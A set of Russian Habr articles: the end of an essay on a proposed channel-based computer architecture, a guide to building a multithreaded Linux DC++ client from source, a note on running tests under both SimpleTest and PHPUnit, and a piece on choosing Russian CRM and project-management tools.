Следующим ограничивающим фактором является энергопотребление и эффективность отвода тепла. Повышение энерго-эффективности будет рассмотрено в главе посвященной проектированию процессорного ядра. Сейчас можно отметить удвоение эффективности теплоотвода за счет возможности установить радиатор с двух сторон кристалла, в настоящее время только одна сторона микросхемы используется для отвода тепла, а вторая предназначена для размещения электрического интерфейса. Если линии связи выводятся с торцов микросхемы, то можно превратить поверхности микросхемы в единые контакты для подвода питания (одна сторона плюс питания, другая минус) и к каждой из них присоединить радиатор для отвода тепла. Радиатор может быть единым для всех микросхем установленных на ПП (подобные сборки использовались на мейнфреймах) и использовать жидкостное охлаждение, что для больших систем оно гораздо проще и эффективнее чем воздушное.
#### Структура вычислительной системы
В парадигме фон-неймана все ориентировано на понятие «адрес», как для доступа к памяти, доступа различным устройствам, так и для взаимодействия с другими вычислительными системами, хотя такое взаимодействие и не предусмотрено в базовой парадигме (думаю поэтому оно такое «кривое»).
В новой парадигме базового понятия адреса нет, коммуникационной основой вычислительной парадигмы является возможность создания одно-направленного последовательного канала (точка-точка) между любыми двумя объектами. На следующих уровнях иерархии работа такого канала может быть заблокирована, примерно как блокируется доступ к определенным частям адресного пространства в парадигме фон-неймана.
Структурно, новая вычислительная парадигма представляет собой большое число физически реализованных объектов (память, различные аппаратные ускорители, процессорные ядра и др), соединяемых между собой большим числом каналов передачи данных. Физически реализованные объекты в той или иной степени могут быть «запрограммированы», те могут сохранять конфигурационные данные, которые изменяют их поведение. С точки зрения программирования, каждый физический объект это реализованные в кремнии (не изменяемые) законы функционирования. При «программировании» вычислительной системы, есть возможность добавлять к этим законам свои локальные законы, по существу делать из более универсального объекта специализированный (решающие локальную задачу). Никаких ограничений по числу каналов и топологии системы связи нет, да и номера канала тоже нет. В обеих парадигмах нет указаний на наличие еще одной вычислительной системы, но в отличии от фон-неймана, новая парадигма допускает, что часть системы еще не создана или с ней нет соединения (которое может появиться или исчезнуть в любой момент).
При описании коммуникационной парадигмы, использован относительный способ адресации, на входе коммутатора для продолжения построения маршрута от адресных данных забирается некоторое число бит (сколько забрать и как интерпретировать, «личное» дело коммутатора). Получается что физический объект состоит из двух частей: «коммутатора» и «вычислителя». Все что является адресом будет воспринято коммутатором, а то что является данными взаимодействия будет обработано вычислителем. Принципиальной разницы в парадигме функционирования между «Вычислителем» и «Коммутатором» нет, это просто различно специализированные объекты (формально одинаково обрабатывают данные взаимодействия).
```
<!--
@page { size: 21cm 29.7cm; margin: 2cm }
P { margin-bottom: 0.21cm }
-->
```
#### Вопросы безопасности
Считаю, что любой код (пароль, шифр) рано или поздно может быть взломан и единственный способ помешать этому — не дать возможности создать канал доступа, через который это получится сделать. Способом полностью «взломать» новую систему должно быть, только физическое проникновение в место расположения вычислительной системы и применение методов «крипто-анализа» к администратору. Если такой администратор «параноик» и перед физическим проникновением уничтожил ключ, то сохранность данных будет определяться, только параметрами защиты отдельных компонентов, составляющей вычислительную систему.
В новой парадигме любой объект может получить непосредственный доступ (связаться), только с соседним объектом (соседним физической сети связи). Дальнейший путь проходит через коммутаторы встроенные в транзитные объекты, которые тоже являются управляемыми (программируемыми) объектами, со своими проверками и ограничениями доступа (задаваемыми администратором). Изменить программу управляющую коммутатором можно только получив доступ к системе программирования, понятно что доступ к ней с «внешних» портов будет невозможен. Коммутатор может применять правила доступа, не позволяющие строить прямые соединения к объектам находящимся внутри защищаемых зон. Пример - для определенных каналов можно создать соединения только с определенными объектами (присутствующими в списке) или запрет создания прямых соединений между определенными физическими портами.
Возникает вопрос: а если «злоумышленник» маскируется под легитимного абонента из внешней среды? Канал в новой коммуникационной парадигме является однонаправленным и для обеспечения обратной связи должен содержать маршрут по которому ответ будет доставлен назад «злоумышленнику». Обратный маршрут должен быть «действующим», иначе данные не будут доставлены. Анализируя этот адрес, коммутатор (или непосредственно объект) может идентифицировать вызывающего абонента, проверить маршрут по которому будут переданы данные ответа и выяснить не выходит ли этот маршрут за пределы «доверенной» зоны. Соответственно, подменить адрес или прослушать содержимое трафика можно только путем физического присоединения к коммуникационной аппаратуре, находящейся в «доверенной» зоне и уровень «доверия» к такому сеансу связи будет равен минимальному уровню «доверия» к промежуточному участку маршрута (про шифрование трафика пока не говорю). Присоединение к вычислителю на территории пользователя вызовет изменение топологии сетевых соединений, что сразу будет зафиксировано составляющими ее коммутаторами и присоединяемое устройство будет изолировано. Применение объекта с «закладками», потребует создание соединения с объектом за пределами зоны в которой находится «закладка», максимум что может случиться это хищение данных полученных этим объектом в процессе работы вычислительной системы с дальнейшей передачей собственным каналом связи (внешним по отношению к системе). Для «хищения» данных, потребуется внедрить закладки или выявить уязвимости, в целой цепочке объектов (от источника данных, до завершения доверенной зоны) Для особо важных частей вычислительной системы, может быть определена полная невозможность соединений не входящих в заранее указанный список и многократное дублирование. Кроме того можно в момент компиляции ПО можно добавить «законы» маркирующие данные индикатором степени секретности и тогда в коммутаторе можно проверять весь трафик на соответствие степени доверия конкретного канала, степени «секретности» передаваемой информации (это уже для совсем параноиков).
#### Границы вычислительной системы
Следующий вопрос: Если вычислительная система распределенная и в ней нет явных границ, то где конкретный пользователь имеет право монопольно распоряжаться «аппаратурой»(где граница частных владений)? Наиболее оптимальным будет создание физически существующего объекта «ключ», который подключается к специальным «административным» каналам, только с использованием этих каналов, можно «инициализировать» управляющее ПО коммутаторов. Все что удастся «инициализировать» с использованием такого ключа и есть границы личного пространства (собственная вычислительная система), все остальное это пространство с делегированными полномочиями (разрешением ограниченного использования, выданного владельцем другой вычислительной системы). Такая «инициализация» может быть коллективной, различные пользователи получают различные типы (правила) доступа. Различать пользователя опять же по ключу, при этом если «вынуть» ключ, то настройки сохраняются и запущенное ПО продолжает работать.
Ограничивать доступ можно не только по пользователю, но и по степени «доверенности» исполняемого ПО.
#### Энерго-эффективность
Тут все просто, если нет взаимодействий, то нет передаваемых данных, нет работы вычислительных блоков, нет изменения потенциалов на транзисторах и нет потребления энергии (ну почти нет). Кроме того легко определить «простаивающие» блоки и мгновенно отключить их от электропитания (верно и обратное).
#### «Вычислитель»
Все объекты (как физические так и виртуальные) в вычислительной системы контактируют друг с другом посредством каналов связи. Поскольку время вычисления нового состояния объекта равно нулю (при ненулевом времени передачи данных взаимодействия), то можно считать что все взаимодействия происходят последовательно. Запуск вычисления происходит в момент прихода данных взаимодействия. Данные взаимодействия являются копией частей данных состояния взаимодействующих объектов и не могут быть разделены или доставлены частично (иначе нарушится «запутанность» состояния объекта). Гарантированной доставкой данных занимается коммуникационная часть вычислительной системы. Если время доставки данных взаимодействия устанавливается равным нулю, то это означает превращение двух взаимодействующих объектов в один.
*Далее будет описываться построение вычислителя, с принципами функционирования родственными DataFlow системам, но вычисления объекта возможны и другими вариантами (процессор на принципах фон-неймана, ПЛИС, нейронные сети и др.).*
Программа для такого вычислителя представляет собой ациклический направленный граф. Ребра графа, это каналы передачи данных Узлами (вершинами) графа являются операции, которые могут выполнить АЛУ вычислительного «ядра».
Данные в новой вычислительной парадигме представлены в виде символов, неделимой конструкции: тип-значение. Для конкретных аппаратных блоков, будет излишним полное «понимание» всей системы типов и правил построения символьных конструкций. Например, для коммуникационной системы все что нужно «знать» это три группы символов (пользовательские символы, служебные символы коммутатора и символ отсутствия данных). Для каждой конкретной системы можно использовать только специфические ей типы символов (пока данные обрабатываются данной системой), а все остальные инкапсулировать в пределах поля «значение». После обработки (в момент пересечения границы системы) произвести обратную операцию извлечения (и сразу преобразования в другой тип символов — используемых другой системой). Поскольку в пределах конкретной системы используется только определенный тип символа (ну или несколько), то можно не хранить тип символа (экономия ресурсов). Аналогом такого преобразования в коммуникационной парадигме служит преобразование размера «символа» (кванта) передаваемых данных для различных физических каналов передачи данных. В современных процессорах в памяти хранятся байты, но при загрузке в математических сопроцессор могут преобразовываться в неделимую конструкцию «число с плавающей запятой».
Вычислитель оперирует (обрабатывает) символы типа «данные процессора ХХХ», как их интерпретировать «личное дело» этого вычислителя (никак не влияет на результат).
Пример структуры данных :
[EXE][READY][KEY][DATA]
EXE – данные принадлежат к активному (вычисляемому) пути графа
READY – данные вычислены и готовы к дальнейшему использованию (0 — нет данных)
KEY – уникальный ключ для поиска данных в ассоциативном ЗУ
DATA – данные для обработки
Вершина графа «вычисляется», только если все входящие ребра имеют значение отличное от «нет данных». Если вершины такого графа «рассортировать» по слоям, таким образом что бы все входящие ребра принадлежали вершинам предыдущих слоев (были вычислены) или были данными состояния объекта. Результатом будет некоторое число групп вершин (слоев), вычислять значения вершин внутри такой группы можно в любом порядке. Но и тут можно немного оптимизировать вычислительный процесс, большинство преобразований (так эффективней для реального АЛУ) имеет один либо два операнда и выдает один результат, все остальные приводят нескольким таким преобразованиям. Максимальная эффективность вычислительного процесса получается когда результат предыдущего преобразования используется как один из операндов в следующем, приходится читать только один операнд и результат не всегда сохранять (он «расходуется» в следующем преобразовании). Если сделать вторую, уже вертикальную сортировку по этому критерию, то получим набор коротких последовательностей преобразований («нитей»). Такие нити могут начинаться и заканчиваться на любом слое.
```
<!--
@page { size: 21cm 29.7cm; margin: 2cm }
P { margin-bottom: 0.21cm }
-->
```
*Определим механизм чтения второго операнда.*
Сохранять операнды в оперативной памяти, как это делается в современных процессорах невыгодно по времени доступа к памяти и затратам энергии. После вычисления «взаимодействия» эти данные будут полностью израсходованы, но в исходном графе таких ребер, временно хранимых операндов, может быть очень много. При выделении отдельной ячейки памяти для хранения каждого из операндов они все могут не поместиться в быструю память (расширенный аналог регистровой памяти). Если смотреть на результат сортировки узлов, то можно заметить, что данные появляются (и расходуются) не одномоментно. Можно определить сколько данных будет использовано в процессе вычисления каждого слоя (или нескольких слоев) и сколько перейдет следующим. Кроме памяти для второго операнда, требуется еще и память для хранения списка узлов, из которых состоит «нить» (или несколько нитей).
```
<!--
@page { size: 21cm 29.7cm; margin: 2cm }
P { margin-bottom: 0.21cm }
-->
```
Появляется задача распределения отсортированного графа по отдельным вычислительным «ядрам», имеющим некоторый объем памяти, интерфейс связи с соседними «ячейками» и возможность доступа к каналам связи. Назначим каждому ребру графа уникальный идентификатор, возможно уникальный даже в пределах нескольких объектов. С большой вероятностью число уникальных идентификаторов будет много больше суммарной памяти всех вычислительных ячеек и максимального числа одновременно передаваемых между слоями данных. Поэтому использовать обычную память (данные выбираются по адресу) невыгодно, в новой парадигме в вычислительных «ядрах» должна использоваться ассоциативная память (замена регистровой и КЭШ памяти в парадигме фон-неймана). АЗУ будет хранить данные до момента их использования и предоставлять их, как «своему» АЛУ, так некоторому числу соседних, но не всем одинаково быстро (ближайшим соседям быстро — за один такт) и это нужно учитывать при размещении «нитей» по различным «ядрам». Получается, что каждое «ядро» имеет многоканальное АЗУ, число каналов чтения равно числу соседей, которым предоставлен быстрый доступ к данным (остальные медленнее и другим механизмом). Для «вычисления» объекта необходимо распределить граф по отдельным вычислительным «ядрам» так, что бы хранимых на каждой ступени (несколько слоев) вычисления данных было не больше числа ячеек АЗУ и список вычисляемых вершин (команд) мог поместиться в память генератора команд (control unit). По вертикали (между слоями) «ядра» соединяются через основную коммуникационную среду вычислительной системы (обычные каналы передачи данных). Данные из АЗУ, а в ней кроме промежуточных данных хранятся еще и данные состояния объекта, также могут быть «коллективно» выгружены в оперативную память. Такой механизм можно сравнить с виртуальной памятью в современных процессорах, только здесь это будет механизм виртуального вычислительного пространства. Физически реализованных вычислительных ячеек может быть многократно меньше, чем использовано для исполнения конкретного набора ПО.
```
<!--
@page { size: 21cm 29.7cm; margin: 2cm }
P { margin-bottom: 0.21cm }
-->
```
Сколько физически существующих «ядер» необходимо для вычисления конкретного объекта?
Теоретически минимальное время вычисления объекта равно числу горизонтальных слоев (все вершины в слое могут быть вычислены одновременно). Для одновременного вычисления всех вершин в одном слое число вычислительных «ядер» должно быть всегда равным (или больше), числу вершин вычисляемых в каждом слое. Располагать весь граф в памяти вычислителя особого смысла нет, выгоднее выбрать размер памяти «ядер» такими, что бы время вычисления части графа было больше времени чтения данных для инициализации следующего «ядра» из оперативной памяти. Получим конвейер — половина ячеек вычисляет, вторая половина загружается из памяти, а может и вообще началось вычисление следующего взаимодействия. Если требуется получить максимальную производительность или реализовать конвейерную обработку большого числа данных, то можно максимально разложить граф по физически существующим ячейкам. При раскладке необходимо учитывать частоту исполнения тех или иных частей дерева, места расположения модулей памяти или математических сопроцессоров. Кроме того необходимо учитывать расположений линий связи и скорости передачи данных в создаваемых виртуальных каналах. Если все это учесть оптимальным образом, то можно получить крайне быструю согласованную работу миллионов составляющих вычислительной системы в рамках решаемой задачи, получить действительно «супер-компьютер», а не «грид-пародию» на него.
Исходный граф имеет множество путей исполнения (аналог условных переходов в парадигме фон-неймана) и если в пределах ячейки нет смысла исключать исполнение не активных путей (все данные не активных веток заменяются на символ «не вычислимо»), то при загрузке данных следующего «ядра», можно «заменить» универсальный граф вычисления объекта на «оптимизированный».
Вычислительный процесс состоит из множества нитей, необходимо синхронизировать (выравнивать) скорость исполнения во всех нитях. В парадигме фон-неймана, без дополнительных и весьма неэффективных ухищрений, это невозможно по причине отсутствия понятия «нет данных». В новой парадигме в вычислениях участвуют не просто битовые последовательности, а символы которые кроме непосредственно значения имеют еще и тип. АЗУ при отсутствии требуемого «ключа», будет при чтении выдавать символ: «нет данных». Вычислительный процесс в каждом «ядре» идет независимо друг от друга, но в момент когда в ответ на запрос чтения приходит значение «нет данных», вычисления останавливается до момента пока не вернется другой тип символа. Таким образом скорость в конкретном «ядре» притормаживается, относительно всех остальных. Результат вычисления должен быть записан (если это необходимо) в локальное АЗУ, писать можно только в свою локальную часть АЗУ (иначе может случиться «клинч»). Размер АЗУ конечен и в какой то момент наступит переполнение, после которого необходимо ждать освобождения памяти соседними «ядрами» (они используют эти данные для вычисления своих вершин). Увеличение размера локального АЗУ позволяет выполнить большее число команд, подготовить больше данных для соседних «ядер». Возможность заранее вычислять еще не востребованные данные, является аналогом внеочередного исполнения, в разных «ядрах» вычислительный процесс может находиться на разных «слоях». Если результат вычисления вершины графа используется в нескольких вычислениях, то выгоднее к данным добавить счетчик и уменьшать его при каждом чтении и когда он станет равным нулю освободить ячейку АЗУ, а не занимать отдельные ячейки памяти.
Для сложных команд (различные математические функции, различные виды памяти, различные виды ускорителей) можно связываться с таким вычислителем через коммуникационную сеть, выгоднее использовать «коллективный» буфер (в один поток суммируются запросы от многих «ядер») и выполнять коллективный доступ. При обращении, именно обращении к результату, а не при отправке исходных данных, вычислительный процесс приостановится (в конкретном «ядре») до получения результата.
Если Вам кажется, что ациклический ориентированный граф, это какая то редкая конструкция и не для всех задач его можно построить.
Проведите мысленный эксперимент:
* Возьмем любую функцию (Изначально созданную на языке высокого уровня).
* Выполним ее и запишем последовательность исполненных ассемблерных команд.
* Для простоты понимания выделим из этих команд только те, которые производят изменения данных, их будет примерно 20% от общего количества.
* Построим граф где вершиной будет команда, ребра будут результатами исполнения или данными имеющимися на момент начала вычисления
* Получаем ориентированный ациклический граф, вычисляющий значение функции для данного конкретного набора данных. Эксперимент показывает, что есть возможность превращать обычную программу в программу (ациклический граф) для новой вычислительной парадигмы.
Да, реальный компилятор будет сложнее, но принципиальная возможность есть.
*В новой парадигме нет понятие цикла (есть понятие спираль).*
*Вопрос: Как примирить сегодняшнее представление о программировании, где практически постоянно встречаются различные циклы?*
Необходимо рассматривать цикл не как исполняемую конструкцию, а как способ записать многократно повторяющуюся последовательность команд (особый тип макроса).
Считаем, что цикл имеет бесконечное число повторений. Для того что бы в результате «компиляции» не получить бесконечного размера граф (программу), необходимо записывать ее в «сжатом» виде (добавить служебные символы указывающие на бесконечное число повторений) и в момент исполнения «распаковывать» (control unit) уже в вычислительном «ядре». В момент завершения цикла, необходимо отправить сообщение (записать данные в регистр управления) модулю генерирующему последовательность команд сигнал завершающий генерацию повторов тела цикла. В процессе компиляции никто не запрещает выполнить несколько «логических» итераций цикла за одну «физическую», что позволит дополнительно ускорить вычисление. Примерно по той же схеме можно организовывать вызовы функций (процедур), подмену частей графа на оптимизированные варианты (где исключены не использованные «пути»).
*Память в новой парадигме.*
Понятие адресного пространства отсутствует и обращение к данным идет по уникальному идентификатору. Никаких ограничений на размер и структуру уникального идентификатора нет, в него можно «вложить» путь до конкретного запоминающего устройства, тип памяти, параметры доступа и многое другое. Все уникальные идентификаторы могут выглядеть как адрес в сети и при построении маршрута он будет постепенно использоваться промежуточными объектами для маршрутизации, настроек доступа (пароли и др), адреса в физической памяти, размера в битах и многое другое. По существу в процессе доступа к данным уникальный идентификатор является данными взаимодействия. Кроме того большинство обращений к памяти являются коллективными (чтение массивов данных), все отдельные переменные (данные состояния или промежуточные данные) хранятся в АЗУ вычислительного «ядра» и загружаются (сохраняются) коллективно в момент инициализации вычислительного процесса.
Подробно процесс создания ПО, описание операционной системы и алгоритма решения произвольной задачи, будет описан в следующей статье. | https://habr.com/ru/post/541968/ | null | ru | null |
# Linux DC++ и многопоточность
Всем доброго времени суток. В данном хабра топике хочу рассказать о работе в сетях DC под ос Linux. Сам я пишу из под Linux Mint 7, но на Ubuntu 9.04 всё идентично!
Итак, я обладатель доволь но медленного канала в Интернет. Всего, как заявлено в тарифе, 250 кбит(31.25кбайт). На деле обычно 26-28. И если мне что-то требуется то, ищу это сначала в сети DC. Благо у меня есть пиринг по городу Красноярску, так что проблем с поиском не бывает.
Когда я был в винде, меня всё устраивало пользовался StrongDC++ 2.21. Всё замечательно… И вот, теперь я в линуксе. История моего пути это отдельная статья…
Ну и естественно, первое что было мною сделано это поиск альтернативных программ и способов запуска под вайном. Нашлась программка valknut. Ну попробовал. Ну работает. Не понравилась. ИМХО.
Wine и Flylink
==============
Опыт пользования Linux DC++ был еще на 8.04, что как-то не очень хотелось изза багов. Полез на [winehq.org](http://appdb.winehq.org/). И узнал, что наш, Flylink-r370 работает идеально. Ну всё, думаю. Щас всё будет путем… А нет-то… Скачал я эту ревизию. Установил, запустил, под вайном 1.1.25. И да, действительно сие чудо работает. Начал тестировать функциональность. Сделал шару. Подключился к хабам. Решил скачать файл большого размера, больше 5 гигов, и чтобы он был у достаточно большого количества юзеров. Всё, отлично, нашел. И первое что мне не понравилось, так это иконки файлов которые всё путали. Если это файл, то выглядит как норальная папка в XP, а если это папка, то иконка представляет из себя белую папку. Ну думаю. Ладно, ради работающего DC клиента можно и смериться. Когда я выделил строку, у меня пропало поле с информацией, у скольки человек имеется данный файл. Ну это было уже не серьезно. Но еще терпимо, ибо при выборе файла большого размера я руководствуюсь еще и этим параметром. Поставил на закачу. Сразу порадовала скорость, 8 мбайт/с. Но оченьь растроила загрузка процессора. Так как в основном у меня качается всё на ntfs раздел, что не есть тру, mount.ntfs-3g жрет довольно много процессорного времени, почти 100%. Основная масса была скачана на довольно приличной скорости, почти 8 мегабайт в секунду. НО(!!!) Когда осталось уже меньше 10% скорость упала до 50 кбайт/с. Я подумал что одновременно у всех кончились слоты, или еще чтонибудь. Решил, что через пару минут всё будет лучше. Оказалась, я не правильно думал ))). Открыв список, с кого я качаю. Я увидел, что закачка происходит всего лиш с двух компов. и со скоростью около ~30кбайт. Хотя до этого он отлично качал с более чем 200 юзеров ). Закрыв соединение, он тут же подхватил кого-то со скоростью 2 мегабайта в секунду. Я конечно думал, что в конце блоки качаются на маленькой скорости, но не до такой же степени, в Strong DC++ такого не было вообще. Это была последняя капля…
Linux DC++
----------
И я решился попробовать Linux DC++ более свежий. Прошло довольно много времени, примерно год. Может они и исправили этот баг, что при запуске он у меня просто вылетал.
Итак, sudo aptitude install linuxdcpp. И мы стартуем… На удивление он запустился! Это знак! Я быстренько добавил в шару фильмов на 5 гигов, чтобы потестить. Хочу предупердить, что добавлять в шару стоит по маленьку, ибо если вы сразу дадите задание на 100 ГБ, у вас и комп и Linux DC++ уйдет в даун. Нужно добавлять по одной, максимум две папки. Чтобы можно было дождаться того момента когда он закончить хеширование, выключить клиент, и запустить его снова, иначе при экстренном выходе вам придется проходить процедуру хеширования заново!!! Ну вот, и мы вошли на хабы. В этот раз я стал умней, и в настрйоках устновил место скачивания на ext3 раздел. выбрал файл, багов замечано не было, единственно, после нажатия на кнопку поиск окно зависает(темнеет), и я жду когда он закончит поиск. Выбрал тестовый файл на закачку. И жду. Как оказалось, данная версия построена на стабильном ядре, которое не поддерживает многопоточность. Но есть 0.707 которое поддерживает многопоточность, то что нам и нужно. Вот [мануал](http://live.progger.ru/tag/linuxdcpp/) по которому я узнал где взять исходники версии с многопоточностью, и краткое руководство к действию. Собрав все остатки печенья со стола, я приготовился компилить.) Благо опыт не малый… Но не хотелось мне собирать пакет, потом его ставить. Я решил сделать по другому, не засаряя систему. Сейчас вам всё расскажу. итак,
#### Берем исходники
`sudo aptitude install bzr scons
cd ~/
mkdir linuxdcpp
cd linuxdcpp
bzr branch http://bazaar.launchpad.net/~razzloss/linuxdcpp/0705-core`
Замечательно, теперь у нас есть исходники свежего linuxdcpp. Что же мы с ними можем сделать? Скомпилить!
#### Подготовка системы к сборке свежего Linux DC++
Как написано в мануале, дальше удовлетворяем все зависимости. Вот строчка из моего Readme.txt, у вас может незначительно отличаться изза новой версии:
`Dependencies:
-------------
scons >= 0.96
pkg-config
g++ >= 3.4
gtk+-2.0 >= 2.6
gthread-2.0 >= 2.4
libglade-2.0 >= 2.4
pthread
zlib
libbz2
libssl`
Итак, если у вас ubuntu 9.04 то проблем со старыми пакетами у вас быть не должно. У вас просто может не быть некоторых необходимых вещей. У меня указаласась отсутствующей плюсовая библя boost. Ну не вопрос.
Вот что я выоплнил:
`sudo aptitude install binutils scons pkg-config g++ libboost1.35-dev libglade2-0 libglade2-dev libpthread-stubs0 libpthread-stubs0-dev libbz2 libbz2-dev libssl libssl-dev`
Данная команда установила то что у меня отсутствовало в списке, и то что старое, обновила(мне не удалось найти 2 пакета g++ >= 3.4, gtk+-2.0 >= 2.6, ткните пальцем, я добавлю).
Теперь всё готово к сборке. Из того же ридми я вычитал как нужно правильно собирать этого заеря.
### Компиляция!!!
`Compiling:
----------
$ cd /path/to/linuxdcpp
$ scons PREFIX=/path/to/install`
Теперь самое интерестное. Так как я не хочу возится, мы поступим довольно умно, оставим старую версию,.
`sudo mkdir /opt/linuxdcpp
sudo chown -R вашюзер:вашагруппа /opt/linuxdcpp`
Ниже узнаете зачем. :)
Теперь собираем.
`cd /path/to/linuxdcpp
scons PREFIX=/opt/linuxdcpp`
Можно сходить выпить чайку. Только не долго, ибо самое интерестное еще впереди…
Если всё удачно собралось, Поздравляю. Если нет, удовлетворяйте зависимоти и читайте что говорит error log.
#### Установка
Осталось установить. Устновка еще проще чем компиляция:
`scons install`
А теперь настает момент, для чего собственно мы делали отдельную папку, я не удалял старый Linux DC++ потому что я очень ленив, что бы собрать пакет и установливать его. Вот и выбрал легкий путь, ибо всё это уже предусмотрено спосбом сборки linuxdcpp. Заходим в настройки главного меню гнома(если у вас кеды, настравивайте сами) и ищем та DC++, и в параметрах запуска меняем только путь из «linuxdcpp» в "/opt/linuxdcpp/bin/linuxdcpp"(юез кавычек).
Пора запускать наш только что скомпиленный клиент с поддержкой многопоточности.[](http://ipicture.ru/Gallery/Viewfull/21071455.html)
Конечно, как в любой программе и здесь есть свои нюансы, которые были замечены мною. При выборе файла для закачки, клиент стартует закачку сначала с одного пользователя, но потом, если успеет конечно), подключается к другим пользователям, что дает нам существенный выйгруш в скорости. Есть еще один вариант, но я не понял его логики. На выбранном файле жмем «Search by TTH», и из этого списка, как я понял, можно добавлять пользователей с которых будет идти скачка(если не прав поправьте), при нажатии на «Match Queue».
Вот и всё. Надеюсь вам понравилась данная статья, и помогла избежать использования вайна, Когда есть такой классный клиент.
**ЗЫ.** Не стал пробовать StrongDC под вайном потому что меня полностью устроил Linux DC++. | https://habr.com/ru/post/64775/ | null | ru | null |
# Переезд с SimpleTest на PHPUnit
Предыстория: одна из критических частей кода проекта покрыта юнит тестами основаными на фреймворке SimpleTest. В связи с переходом на PHPUnit необходимо было адаптировать существующие тесты под новый тестовый фреймворк.
Причем необходимо было оставить работающими тесты как в режиме SimpleTest, ну и заставить их работать в PHPUnit. Код самих тестов, естественно, один и тотже.
Было выделено три ключевых момента где есть различия между SimpleTest и PHPUnit:
* 1. Запуск тестов
* 2. Используемые методы проверки и наследование
* 3. Обработка результатов тестирования
Какой фреймворк должен работать определяется очень просто, если константа **PHPUNITRUN** == true, значит работает PHPUnit, иначе SimpleTest
### 1. Запуск тестов
Учитываем различия при помощи if и помещаем результаты в $reporter:
`if (PHPUNITRUN) { // PHPUnit run
$testSuite = new PHPUnit_Framework_TestSuite( $testCase );
$testSuite->addTestSuite( $testCase );
$reporter = PHPUnit_TextUI_TestRunner::run( $testSuite );
}
else { // SimpleTest run
$testSuite = new TestSuite();
$testSuite->addTestClass( $testCase );
$testSuite->run( $reporter );
}`
### 2. Используемые методы проверки и наследование
Каждый фреймворк требует чтобы тест-кейсы были пронаследованы от спицифических базовых классов.
Это различие решается следующим образом, заодно учитываются различия между названием проверочных методов. Например в PHPUnit метод **assertIsA($actual, $expected, $message = '')** звучит как **assertType($expected, $actual, $message)**:
`if ( PHPUNITRUN ) {
class Overload_TestCase extends PHPUnit_Framework_TestCase {
protected $backupGlobals = false;
public static function assertIsA($actual, $expected, $message = '')
{
self::assertType($expected, $actual, $message);
}
public static function assertNotA($actual, $expected, $message = '')
{
self::assertNotType($expected, $actual, $message);
}
public static function assertTrue($condition, $message = '')
{
parent::assertTrue((bool)$condition, $message);
}
public static function assertFalse($condition, $message = '')
{
parent::assertFalse((bool)$condition, $message);
}
public static function assertEqual($expected, $actual, $message = '')
{
self::assertEquals($expected, $actual, $message);
}
}
}
else {
class Overload_TestCase extends UnitTestCase {
}
}`
Все тест-кейсы проекта наследуются от класса **Overload\_TestCase**. Тем самым каждый тест-кейс наследуется от нужного для конкретного фреймворка базового класса.
3. Обработка результатов тестирования
Результаты тестирования хранятся в объекте $reporter.
Для последующей обработки результатов (сохранение в базу, посылки писем, если выявлены проблемы и тп), стандартный **HtmlReporter** из SimpleTest приводится к интерфейсу **PHPUnit\_Framework\_TestResult** из PHPUnit.
`class NewHtmlReporter extends HtmlReporter
{
/**
* Gets the number of detected errors.
*
* @return integer
*/
public function errorCount()
{
return $this->_exceptions;
}
/**
* Gets the number of detected failures.
*
* @return integer
*/
public function failureCount()
{
return $this->_fails;
}
/**
* Gets the number of run tests.
*
* @return integer
*/
public function count()
{
return $this->_passes;
}
};`
Теперь тесты можно запускать и обрабатывать как в режиме SimpleTest, так и в режиме PHPUnit. | https://habr.com/ru/post/55176/ | null | ru | null |
# Как импортозаместить CRM и систему управления проектами для малого бизнеса
Курс доллара как бы ненавязчиво намекает: использование для ведения бизнеса SaaS-решений с ценами в валюте скоро может сильно сказаться на бюджете небольшой компании.
Ну что ж, сыграем в модную игру *«Импортозамести меня полностью»*. Пусть цены будут в рублях, а разработчик — в России или около того.
Дано: [компания 20–25 человек](http://www.pavlova.cc), одновременно в работе 30–40 проектов и примерно столько же горячих лидов. Основной фокус внимания — оказание качественного сервиса (это значит, что почти вся работа состоит из обсуждений и итераций).
Автоматизация нам нужна, чтобы быстро-дешево исполнять обещания и удовлетворять ожидания состоявшихся и потенциальных клиентов. Ресурсное планирование и микроменеджмент — не интересуют.
CRM [Highrise](http://www.highrisehq.com) и среда управления проектами [Basecamp](http://www.basecamp.com) используются у нас уже больше двух лет. Highrise почти бесполезен, работает фактически как архив истории взаимоотношений с клиентом (обычно переписки) и список задач для продажника. Basecamp, напротив, вполне помогает управлять проектами и даже портфелем проектов. В связке они не работают вообще.
Так бы мы и жили на этих продуктах компании [37Signals](http://37signals.com), но случилось [то, что случилось](http://goo.gl/LQmUqc). И стало дорого. Плюс Highrise, если честно, утомил своей бессмысленностью.
Решено: выходим в чисто поле, оглядываемся по сторонам и пытаемся выбрать «импортозамещающие» инструменты: CRM и систему управления проектами (далее — PM). А может быть, один инструмент, совмещающий два этих куска работы.
Из [небольшого Facebook-обсуждения](https://www.facebook.com/op.spb.ru/posts/893637677348138) и [его продолжения](https://www.facebook.com/photo.php?fbid=894220603956512&set=a.185292308182682.43521.100001057430246&type=1) вытащили список продуктов, которые (по мнению широкой общественности) стоило бы глянуть.
Пояснение к колонке *free*: если там стоит галочка, то у продукта есть бесплатный тариф.
Как обычно, на сдачу удалось сделать много выводов про нашу с вами IT-тусовку и ее представления о жизни.
1. **Ну ладно, пользователи не читают, но мы-то?** Примерно половина комментаторов проигнорировала ключевое требование Rubles only. И наподсказывала закордонного софта. Но ладно уж, взяли все продукты, пусть идут вне конкурса.
2. **IT-людей очень привлекает перспектива допиливать и настраивать.** Честно сказать, это было слегка неожиданно: очевидно же, что для малого бизнеса стоимость внедрения и поддержки должна быть примерно нулевой. Похоже, наблюдаем профессиональную деформацию: мне в кайф настраивать систему и разбираться в программных тонкостях — значит, и всем в кайф (а кому не в кайф, пусть расплачивается за тупость). То, что нежелание копаться связано не с тупостью, а с экономической нецелесообразностью инвестировать время-силы в такие развлечения, в голову обычно не приходит.
3. **Всерьез рассматриваются бесплатные решения.** Ясно, что это связано с пунктом 2: могу настроить — не хочу платить. IT-продукт рассматривается как игрушка «доработать напильником», а не как инструмент для закрытия производственной задачи. На самом же деле страшно доверять ключевые бизнес-процессы бесплатным решениям, и конкретно для нас это вообще не вариант.
4. **Популярен миф о том, что покупатель ищет инструмент** в надежде залатать волшебной шайтан-машиной дыры в бизнес-процессах. Истина где-то рядом: действительно, такая вера в чудеса еще кое-где у нас порой встречается. Но считать это ситуацией по умолчанию я бы, пожалуй, поостереглась: вменяемых и системно мыслящих людей хватает не только в IT. А сейчас, возможно, и кризис подчистит головы и упорядочит работу небольших компаний.
Интересно, что эти расхождения с реальностью встречаются в головах IT-людей довольно регулярно. Не только в этой дискуссии.
**• • •**
Вернемся к задаче.
Осталось 11 кандидатов.
Выбор есть.
